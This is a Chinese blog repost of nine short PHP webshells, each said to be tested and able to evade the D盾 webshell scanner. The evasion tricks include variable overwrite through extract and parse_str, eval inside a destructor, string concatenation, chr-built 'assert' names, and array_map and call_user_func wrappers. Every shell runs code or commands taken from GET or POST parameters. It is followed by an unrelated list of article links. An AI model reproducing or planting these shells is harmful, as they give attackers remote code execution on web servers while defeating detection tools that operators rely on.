当前位置: 首页 > news >正文

【免杀】————5、过D盾webshell分享

0x00 前言

最近在测试过程中遇到了D盾,悲催的发现所有过D盾的webshell都被查杀了。因此就在网上搜索了一些之前可以过D盾的shell,然后将其做了一些变形(有一些shell没有更改),使其可以过D盾。本次一共奉献上9个可过D盾的shell,全部亲测可过。

0x01 extract 变量覆盖过D盾

<?php  
$a=1;
$b=$_POST;
extract($b);
print_r(`$a`)
?>

0x02 parse_str 变量覆盖过D盾

<?php  
    $a=1;
    $b="a=".$_GET['a'];
    parse_str($b);
    print_r(`$a`)
?>

0x03 __destruct 析构函数过D盾

<?php 
class User
{
  public $name = '';

  function __destruct(){
    eval("$this->name");
  }
}

$user = new User;
$user->name = ''.$_POST['name'];
?>

 

0x04 null 拼接过D盾

<?php

$name = $_GET['name'];

$name1=$name2= null;

eval($name1.$name2.$name);

?>

 

0x05 '' 拼接过D盾

<?php

$name = $_GET['name'];

$name1=$name2= '';

eval($name1.$name2.$name);

?>

0x06 '' null 拼接过D盾

<?php
$a = $_GET['a'];
$c = null;
eval(''.$c.$a);

?>

0x07 array_map函数过D盾

<?php
function user()
{
$a123 =  chr(97).chr(115).chr(115).chr(101).chr(114).chr(116);
return ''.$a123;
}
$a123 = user();
$x123 =array($_GET['x']);
array_map($a123,$a123 = $x123 );
?>

0x08 call_user_func_array函数过D盾

<?php

function a(){
     return 'assert';
}
$a=a();
$aa = array($_GET['x']);
call_user_func_array($a,$a=$aa);
?>

0x09 call_user_func函数过D盾

<?php
function a(){
     return 'assert';
}
$a=a();
$aa=$_GET['x'];
call_user_func($a,$a=$aa);
?>

 

转自:https://xz.aliyun.com/t/3959#toc-1

相关文章:

  • 国家网络空间安全保障体系
  • 浅谈SSRF漏洞
  • 寻找隐藏在CloudFlare和Tor后的真实IP
  • 【Docker】————1、docker安全基线整理
  • 【公链安全】go-ethereum链安全审计
  • 【应急基础】Linux下进程隐藏的方法及其对抗
  • 【应急响应】Windows应急响应操作手册
  • 使用base64+gzinflate压缩编码来加密webshell
  • 社工查询网址汇总
  • Linux主机安全测评
  • EOS系统架构图解
  • 【算法】————1、冒泡排序
  • 【算法】————2、选择排序
  • 【算法】————3、插入排序
  • 【算法】————4、归并排序
  • [PHP内核探索]PHP中的哈希表
  • (十五)java多线程之并发集合ArrayBlockingQueue
  • 【mysql】环境安装、服务启动、密码设置
  • 【Under-the-hood-ReactJS-Part0】React源码解读
  • android图片蒙层
  • canvas绘制圆角头像
  • CSS 专业技巧
  • go语言学习初探(一)
  • HashMap ConcurrentHashMap
  • leetcode386. Lexicographical Numbers
  • Mac转Windows的拯救指南
  • Markdown 语法简单说明
  • MobX
  • Python - 闭包Closure
  • Traffic-Sign Detection and Classification in the Wild 论文笔记
  • Vue2 SSR 的优化之旅
  • 从地狱到天堂,Node 回调向 async/await 转变
  • 干货 | 以太坊Mist负责人教你建立无服务器应用
  • 关于 Cirru Editor 存储格式
  • 基于Mobx的多页面小程序的全局共享状态管理实践
  • 免费小说阅读小程序
  • 前端性能优化--懒加载和预加载
  • 微信支付JSAPI,实测!终极方案
  • 详解NodeJs流之一
  • ### Error querying database. Cause: com.mysql.jdbc.exceptions.jdbc4.CommunicationsException
  • #include<初见C语言之指针(5)>
  • #传输# #传输数据判断#
  • $().each和$.each的区别
  • %@ page import=%的用法
  • (Redis使用系列) Springboot 使用Redis+Session实现Session共享 ,简单的单点登录 五
  • (webRTC、RecordRTC):navigator.mediaDevices undefined
  • (搬运以学习)flask 上下文的实现
  • (翻译)terry crowley: 写给程序员
  • (四)【Jmeter】 JMeter的界面布局与组件概述
  • (原創) 如何讓IE7按第二次Ctrl + Tab時,回到原來的索引標籤? (Web) (IE) (OS) (Windows)...
  • .FileZilla的使用和主动模式被动模式介绍
  • .NET 4.0网络开发入门之旅-- 我在“网” 中央(下)
  • .NET Core MongoDB数据仓储和工作单元模式封装
  • .NET Framework杂记
  • .Net MVC + EF搭建学生管理系统